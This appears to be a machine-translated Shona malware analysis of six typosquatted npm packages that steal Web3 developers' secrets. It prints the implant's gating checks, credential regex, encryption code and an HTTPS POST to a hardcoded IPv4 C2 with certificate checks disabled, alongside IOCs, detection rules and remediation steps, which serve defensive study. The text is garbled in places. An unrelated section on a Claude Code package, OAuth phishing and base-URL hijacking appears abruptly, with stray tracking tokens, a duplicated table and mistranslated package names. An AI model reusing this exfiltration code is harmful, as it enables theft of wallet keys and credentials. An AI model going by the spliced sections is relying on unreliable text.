TL; DR
Musi wa6 Chivabvu, 2026, muparidzi mumwe chete wepaNpm, namikazesarada010206, yakasundidzira mapakeji matanhatu ane njodzi akanangana neEthereum, Solidity, uye DeFi developer ecosystem.
Mapakeji, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, uye web3-utils-core, vakashandisa mazita akakodzera akagadzirirwa kutaridzika semaraibhurari ekubatsira ekushandisa maturusi eWeb3 anozivikanwa.
Mapakeji ese matanhatu aive akafanana telemetry.js faira. Faira racho raive rakafanana neboka rese, neSHA-256:
Marware haashande panguva yekuisa. Hapana preinstall or postinstall hoko. Pane kudaro, inoshanda kana pasuru yacho yapinzwa kuburikidza require().
Chinhu ichocho chinokosha.
Chigadzirwa ichi chinomirira kusvika mugadziri anyatsoshandisa package yacho. Zvadaro chinoongorora kana nzvimbo yacho yakaita senzvimbo chaiyo yeEthereum / Solidity development. Chinotsvaga makiyi eAlchemy kana Infura, makiyi epachivande, ma mnemonics, makiyi e deployer, kana dhairekitori renzvimbo yeFoundry.
Kana mugamuchiri akabatana, muba anotora makiyi eSSH epachivande, makiyi eFoundry / Geth / Brownie wallet, .env* mafaira, uye zvinoshanduka-shanduka zvakatipoteredza. Inochengetedza bundle neAES-256-GCM ichishandisa passphrase ine hardcode uye inoiburitsa kune raw IPv4 C2 endpoint isina kugadzikiswa nekuongororwa kweTLS.
Sisitimu yeXygeni's Malware Early Warning (MEW) yakasimbisa kuti mapakeji ese matanhatu ane njodzi. Bundle re registry takedown report report rakamirira.
Chikamu: Mapakeji matanhatu, Muparidzi Mumwe
Akaunti yemuparidzi namikazesarada010206 yakabatana nekero yeGmail isina kusimbiswa namikazesarada010206@gmail.com.
Mushandirapamwe uyu wakabuda sechinyorwa chezuva rimwe chete musi wa6 Chivabvu, 2026. Mapakeji ese matanhatu akabudiswa se 1.0.0, yakanga isina runtime dependencies, uye yakatumira mafaira matatu chete:
package.json index.js telemetry.jsVakazivisawo nzvimbo imwecheteyo yekuchengetera zvinyorwa:
https://github.com/harunosakura030303-maker/evmchain-configMapakeji matatu ekutanga akabatwa nema MEW scanners pakuburitswa kwekutanga. Mamwe matatu asara akamanikidzwa mushure mekuongorora kweanalyst yeprofile yemuparidzi we npm. Kare yaingova yakafanana ne byte-identical. telemetry.js zvakasimbiswa muboka rese, dzakavharirwa sedzakaipa nekuda kwekusachinja-chinja.
| nhuri | mhando | npm Yakabudiswa | Tikiti reMEW | mutongo |
|---|---|---|---|---|
| viem-core | 1.0.0 | 2026-05-06 01:38:44Z | #51049 | Zvakaipa |
| viem-utils-core | 1.0.0 | 2026-05-06 | #51050 | Zvakaipa |
| zvishandiso zveHardhat-core | 1.0.0 | 2026-05-06 | #51051 | Zvakaipa |
| zvishandiso zve eVM | 1.0.0 | 2026-05-06 | #51069 | Huipi, nekusachinja-chinja |
| zvishandiso zve foundry | 1.0.0 | 2026-05-06 | #51071 | Huipi, nekusachinja-chinja |
| web3-utils-core | 1.0.0 | 2026-05-06 | #51070 | Huipi, nekusachinja-chinja |
Maitiro ekupa mazita ari nyore asi anoshanda.
Mapakeji aya haaite seari mazita chaiwo epamusoro. Asi, anoshandisa zvivakashure zvinonzwisisika zvakaita sekuti "utility" -core, -utils, uye -utils-coreIzvi zvinoita kuti zviite semaraibhurari anoshanda pamwe chete nemugadziri angatarisira kuona pedyo neWeb3 tooling.
| Pakeji Ine Hukasha | Chinangwa Chakakodzera |
|---|---|
| viem-core | viem, mutengi anozivikanwa weEthereum TypeScript |
| viem-utils-core | viem |
| zvishandiso zveHardhat-core | hardhat, nzvimbo huru yekusimudzira kusimba |
| zvishandiso zve eVM | Nzvimbo yemazita yekushandisa yeEVM yakajairika |
| zvishandiso zve foundry | foundry, cheni yezvishandiso zveSolidity |
| web3-utils-core | zvishandiso zvewebhu3, vabatsiri veWeb3.js |
Iyi ndiyo nzira ye "supplemental package": kwete "Ndini package chaiyo," asi "Ndinotaridzika semubatsiri anonzwisisa ari papakeji chaiyo."
Kune vanogadzira DeFi vari kukurumidza, izvo zvakakwana kugadzira njodzi.
Chii Chinoitika Kana Pakeji Yapinzwa Munyika?
Nzira yekurwiswa idiki, ine chinangwa, uye yakatarisana nenzvimbo dzekugadzira crypto.
Hapana chibatiso chekuisa. Pane kudaro, pasuru yega yega ine index.js iyo inotumira kunze mashandiro e stub uye yozoisa module ye telemetry yakaipa.
require('./telemetry').init();Izvi zvinoreva kuti malware inotanga kushanda painopinzwa kekutanga.
Izvi zvinobatsira munhu ari kurwisa. Ma scanner akawanda nema sandbox anotarisa pane maitiro e install-time. Iyi package inomirira kusvika yashandiswa nemugadziri, build script, test suite, kana runtime path.
Gate reKushanda: Fire chete paReal Web3 Developer Workstations
Chikamu chinonyanya kukosha cheimplant iyi igedhi rekuita kuti ishande.
Marware anoongorora zvinhu zviri kuitika munharaunda zvinowanzo kuwanikwa pamichina yekugadzira Ethereum / Solidity:
const indicators = [ process.env.ALCHEMY_API_KEY, process.env.INFURA_KEY, process.env.PRIVATE_KEY, process.env.MNEMONIC, process.env.DEPLOYER_KEY, ].filter(Boolean);Inotarisawo kana Foundry yakaita seyakaiswa:
fs.existsSync(path.join(os.homedir(), '.foundry'))Kana mamiriro ese ari maviri ari echokwadi, basa racho rinodzoka uye harina zvarinoita.
Izvi zvinoita kuti pasuru iyi ive yakanyarara munzvimbo dzakasiyana siyana dzekuongorora. Sandbox isina Foundry, makiyi eAlchemy, makiyi eInfura, makiyi epachivande, kana ma monics anogona kuita seasina njodzi.
Pamushandisi wemakombiyuta anoenderana, malware inomirira masekondi makumi matanhatu kusvika makumi mapfumbamwe isati yaunganidzwa:
setTimeout(() => { try { _collect(); } catch {} }, 60000 + Math.random() * 30000).unref();Kunonoka uku kunoderedza hukama huri pachena pakati pekupinza nekubuda kwechinhu. .unref() call zvakare inoita kuti maitiro eHost abude zvakajairika kana pakeji yacho yakapinzwa muchinyorwa chenguva pfupi.
Uku hakusi kuita ruzha rwekupwanya-pwanya-kubata. Ibasa rekuba rakagadzirirwa kudzivirira kumhanya kunze kwekunge nzvimbo yevagadziri vemapurogiramu ichikodzera kuba.
Zvinounganidzwa nembavha
Kana gedhi rekushandisa rapfuura, malware inounganidzwa kubva kunzvimbo dzinonyanya kukosha mukugadzirwa kweWeb3: makiyi epachivande, makiyi ewallet, matsamba ekushandisa, zvakavanzika zvegore, ma tokens e npm, uye marongero epurojekiti emuno.
| mabviro | Chii Chinounganidzwa |
|---|---|
| process.env | Chero shanduko inofananidzwa /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Mafaira ane PRIVATE KEY kana BEGIN OPENSSH, kusanganisira zviri mufaira rese |
| ~/.foundry/makiyi ezvitoro/* | Mafaira ekiyi dzechitoro cheFoundry wallet |
| ~/.ethereum/kiyi chitoro/* | Mafaira eGeth wallet keystore |
| ~/.brownie/maakaundi/* | Mafaira eBrownie wallet keystore |
| ${cwd}/.env | Zvemukati zvefaira rose |
| ${cwd}/.env.local | Zvemukati zvefaira rose |
| ${cwd}/.env.kugadzirwa | Zvemukati zvefaira rose |
| ${cwd}/.env.development | Zvemukati zvefaira rose |
| os.hostname() | Metadata yemugadziri |
| crypto.randomUUID() | Munhu anoona nezvemunhu akabatwa/musangano |
| Zuva.zvino() | Chiratidzo chenguva yekuunganidza |
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.comZviratidzo zveATTA ndeizvi:
ATTA_ID 00400014144 ATTA_TOKEN 6478159937Hatina kukwanisa kusimbisa kana telemetry yaive yekuongorora kwemushandi kana kuti yaive nzira yakapihwa mari yakasiyana. Matokeni eATTA akafanana mumienzaniso yese yatakaongorora.
Chikamu B: heibai
claude.hk OAuth Phishing + ANTHROPIC_BASE_URL Hijack
Muenzaniso wemusi wa1 Kubvumbi ndiwo wakanyanya kushata, chikamu chekutanga chemushandirapamwe.
heibai:2.1.88-claude.hk-4 rakabudiswa na wuguoqiangvip28, account yakagadzirwa musi wa7 Chikumi, 2025. Pakeji iyi yakazvishandura pachayo ichipesana nemutemo 2.1.88 Kusunungurwa kweAnthropic.
Hazvinetseki neCA-cert MITM. Asi, zvinonyengera mushandisi nezve OAuth endpoint.
Zvimwe zvinhu zvakaipa zviri pamusoro pemashoko akaburitswa neClaude Code zvinosanganisira:
| mabviro | Chii Chinounganidzwa |
|---|---|
| process.env | Chero shanduko inofananidzwa /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Mafaira ane PRIVATE KEY kana BEGIN OPENSSH, kusanganisira zviri mufaira rese |
| ~/.foundry/makiyi ezvitoro/* | Mafaira ekiyi dzechitoro cheFoundry wallet |
| ~/.ethereum/kiyi chitoro/* | Mafaira eGeth wallet keystore |
| ~/.brownie/maakaundi/* | Mafaira eBrownie wallet keystore |
| ${cwd}/.env | Zvemukati zvefaira rose |
| ${cwd}/.env.local | Zvemukati zvefaira rose |
| ${cwd}/.env.kugadzirwa | Zvemukati zvefaira rose |
| ${cwd}/.env.development | Zvemukati zvefaira rose |
| os.hostname() | Metadata yemugadziri |
| crypto.randomUUID() | Munhu anoona nezvemunhu akabatwa/musangano |
| Zuva.zvino() | Chiratidzo chenguva yekuunganidza |
Rondedzero yezvinangwa yakanyatsotsanangurwa. Uku hakusi kuba kwebrowser kana kuti kubvisa zvitupa. Kwakanangana nevagadziri vanovaka, vanoedza, vanoisa, kana kushandisa maapplication eEthereum.
Kubatanidzwa kweFoundry, Geth, uye Brownie keystores kwakakosha zvikuru. Mafaira aya anogona kuratidza mukana wekupinda zvakananga muwallets kana ma deployment identity. Kana munhu anorwisa akakwanisa kuabatanidza nemapassword, mnemonics, kana zvakavanzika zvezvakatipoteredza, anogona kukwanisa kutamisa mari, kutevedzera vanoisa data, kana kukanganisa mashandiro ezvibvumirano zvekuchenjera.
Kuchengetedza Usati Wabuda Munzvimbo Yako
Iyo malware inochengetedza data rakaunganidzwa isati yatumirwa.
const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);Chinyorwa chepasi chakaomarara ndeichi:
a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1dMutoro wekupedzisira wakaputirwa seJSON:
{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}Kuchengetedza ruzivo rwemakombiyuta hakuiti kuti malware iwedzere kufambira mberi. Zvisinei, kunoita kuti kuongororwa kwenetiweki kuve kwakaoma. Mudziviriri anoona kubuda kwemakombiyuta angaona JSON payload, asi kwete makiyi akabiwa, mafaira ewallet, kana .env zviri mukati zvisina password yakaomeswa uye logic yekubvisa manyorerwo.
Kubuda muIPv4 C2 isina kurongeka
Nzira yekubuda muchivande ine kodhi yakaoma:
const req = https.request({ hostname: '76.13.37.80', port: 8443, path: '/api/v1/telemetry', method: 'POST', headers: { 'Content-Type': 'application/json', ... }, rejectUnauthorized: false, timeout: 8000, }, () => {});Iyo malware inotumira data kuna:
https://76.13.37.80:8443/api/v1/telemetryZvinhu zviviri zvinobuda pachena.
Chekutanga, C2 ikero yeIPv4 isina kugadzirwa kwete domain. Izvi zvinobvisa kudiwa kwekunyoresa domain uye zvinodzivirira kuwanikwa kwedomain.
Chechipiri, kusimbiswa kweTLS hakushande ne:
rejectUnauthorized: falseIzvi zvinoita kuti malware igamuchire chero chitupa, kusanganisira zvitupa zvakasainwa. Nemamwe mashoko, munhu anorwisa anofambiswa asina ruzivo rwakakwana pasina chitupa cheruzhinji.
Hapana logic yekuedza zvakare uye hapana fallback host. Zvikanganiso zvinongogumira chinyararire. Izvi zvinochengetedza package yakanyarara kana C2 isiri kushanda kana kuti isingawanikwe.
Nei Mushandirapamwe Uyu Uchikosha
Mazhinji mapakeji e-npm ane hutsinye akagadzirirwa vagadziri kutevera humbowo hwakakura: npm tokens, makiyi eAWS, maGitHub tokens, kana .npmrc mafaira.
Mushandirapamwe uyu unodzikisa chinangwa.
Inotsvaga zviratidzo zvekuti muchina uyu ndewemugadziri weEthereum kana Solidity. Zvadaro inoburitsa zvinhu zvakakosha munharaunda iyoyo: makiyi ewallet, makiyi epachivande, ma mnemonics, makiyi e deployler, .env mafaira, uye makiyi eSSH.
Izvi zvinoita kuti chirongwa ichi chive nengozi kune matimu eWeb3 pane kuba npm.
Kutapukirwa kwakabudirira kunogona kuratidza:
- Mawallet ekutumira mari
- Makiyi ekugadzirisa zvibvumirano akangwara
- Makiyi emupi weRPC
- Zvitupa zvekuiswa kwegore
- zviratidzo zvekuburitsa npm
- SSH yekuwana mugadziri kana kuvaka zvivakwa
- Zvakavanzika zvepurojekiti zvakachengetwa mu
.envmafaira - Zvitoro zvemakiyi echikwama cheFoundry, Geth, kana Brownie
Mazita emapakeji anoratidzawo hunyanzvi hwemagariro evanhu hwakajeka. Anotarisa kune ecosystem yevagadziri veWeb3 kuburikidza nemazita ezvishandiso anozivikanwa: viem, hardhat, foundry, evm, uye web3.
Mutambi haafanire kukanganisa mapurojekiti chaiwo. Vanongoda mugadziri wezvirongwa kuti aise chinotaridzika sepakeji inokwana.
Zviratidzo zveKubvumirana uye Kuwanikwa kweZvibvumirano
| Mapakeji uye Muparidzi | |
|---|---|
| munda | ukoshi |
| muparidzi we npm | namikazesarada010206 |
| Email yemuparidzi | namikazesarada010206@gmail.com |
| Email yakasimbiswa | Aihwa |
| SCM akafanirwa | Aihwa |
| Chibodzwa chemukurumbira | 1.0 |
| Mabhokisi | viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, web3-utils-core |
| Versions | Zvose 1.0.0 |
| Nzvimbo yekuchengetera zvinhu | https://github.com/harunosakura030303-maker/evmchain-config |
| Yakasimbiswa ine hutsinye | Mapakeji ese matanhatu |
| Network | |
|---|---|
| mhando | ukoshi |
| C2 mugumo | https://76.13.37.80:8443/api/v1/telemetry |
| C2 IP | 76.13.37.80 |
| Chiteshi cheC2 | 8443/tcp |
| Maitiro eTLS | kuramba Hazvina mvumo: nhema |
| Chirongwa chemubhadharo | {"v":2,"iv": ,"d": ,"t": } |
| Mafaira neHashes | |
|---|---|
| mhando | ukoshi |
| telemetry.js SHA-256 | 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1 |
| Kurongeka kwepakeji | package.json, index.js, telemetry.js |
| Kuwanda kwemafaira | 3 |
| Hukuru hwese hunofungidzirwa | 3.4 KB |
Zviratidzo zveKushanda
Malware anoongorora izvi zvinoshanduka-shanduka munzvimbo:
ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEYInotarisawo:
~/.foundry/Nzira dzeVagamuchiri Dzakatarwa
~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.developmentMuunganidzwa weRegex
/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/iZvinyorwa zveKuona
Mitemo yakati wandei inobata mushandirapamwe uyu pasina kuda kuongororwa kwakazara kwemaitiro.
Kutanga, tarisa mafaira ekukiya kuti uwane mazita matanhatu emapakeji ane njodzi:
viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-coreChero mutambo uripo package-lock.json, yarn.lock, pnpm-lock.yaml, kana node_modules Nhoroondo inofanira kutorwa sechiitiko chakakomba.
Chechipiri, tarisa maitiro eNode.js ekuverenga nzira dzechikwama chekiyi:
~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/Izvi hazviwanzoitiki kuti pasuru iendeswe kune mumwe munhu anotsigira. Zvinonyanya kufungidzirwa kana zvichiteverwa nemabasa enetwork anobuda.
Chechitatu, vhara kana chenjedza pakubatanidza kweHTTPS ku:
76.13.37.80:8443Kunyanya kana nzira yekukumbira iri:
/api/v1/telemetryChechina, tsvaga mapakeji e-npm anosanganisa hunhu uhu:
- Muparidzi mutsva kana kuti ane mukurumbira wakaderera
- Akaunti yeGmail isina kusimbiswa
- Zita repakeji riri pedyo neWeb3
- Hapana nhoroondo ine repository ine zvarinoreva
- Kurongeka kwepakeji diki
index.jsiyo inotakura faira re telemetry kana remubatsiri- Hapana zvinoenderana nenguva yekumhanya
- Muunganidzwa unonzwisisika wemamiriro ekunze
- Kupinda muWallet keystore
Maitiro aya anobatsira kupfuura IOC imwe chete nekuti package inotevera inogona kuchinja kero yeIP asi ichiramba iine logic imwechete yekutarisisa.
Rondedzero yeKuongorora Mhinduro dzeKubvumirana
Kana mugadziri webasa akashandisa rimwe remapakeji matanhatu uye nharaunda yavo ichienzaniswa negedhi rekushandisa, tora nzvimbo yebasa seyakakanganisika.
Izvi zvinosanganisira michina ine Foundry yakaiswa, makiyi eAlchemy kana Infura ari munharaunda, makiyi epachivande, makiyi ekurangarira zvinhu, kana makiyi ekushandisa.
Mhinduro inokurudzirwa:
- Bvisa mugamuchiri kubva kunetiweki.
- Chengeta
node_modules, mafaira ekukiya, nhoroondo yedembu, uye magwaro akakodzera ekuongorora mafambiro emhosva. - Tenderedza keypair yega yega yeSSH iri pasi payo
~/.ssh/. - Tenderedza makiyi ewallet echitoro chega chega chiri pasi pacho
~/.foundry,~/.ethereum, uye~/.brownie. - Chinja mari uiise muzvikwama zvitsva.
- Tenderedza chakavanzika chose chakachengetwa
.env*mafaira ari mumarepositories aishanda nemugadziri. - Tenderedza zvakavanzika zvenharaunda zvinoenderana ne regex yekuunganidza, kusanganisira makiyi eAWS, makiyi e npm, makiyi e deploy, makiyi eAPI, makiyi epachivande, mbeu, uye mnemonics.
- Audit cloud, npm, GitHub, RPC provider, uye blockchain activity kubvira pakatanga kuiswa package.
- Tora mufananidzo wenzvimbo yebasa usati washandisazve.
Zvinofanira Kubviswa neVadziviriri
Mushandirapamwe uyu unoratidza kuti npm typosquatting iri kushanduka sei zvichienderana nehurongwa hwepamusoro hwevagadziri vezvinhu.
Mutambi wacho aisada kutsungirira. Havana kuda kuvharwa. Havana kutoda kutomboitwa panguva yekuisa.
Asi, vaivimba nezvinhu zvitatu:
- Mazita emapakeji eWeb3 anogona kushandiswa
- Kushanda chete pamichina chaiyo yekugadzira crypto
- Kubiwa zvakananga kwemafaira nezvakavanzika zvinonyanya kukosha kune vanogadzira Ethereum
Izvi zvinoita kuti mushandirapamwe uyu uve nyore kupotsa kana uchiongororwa zvakanyanya uye uve nengozi kana wasvika panzvimbo yakakodzera.
Kumachikwata eWeb3, chidzidzo chacho chakajeka: tora mazita ekuvimbana nevamwe sechikamu chemuenzaniso wako wekutyisidzira. Pakeji inoita semubatsiri asina njodzi inogona kuramba iri nzira pfupi yekubvumirana kwewallet.
Zvakataurwa ku npm registry. Tichagadzirisa chinyorwa ichi kana account yemuparidzi nemapakeji zvabviswa.
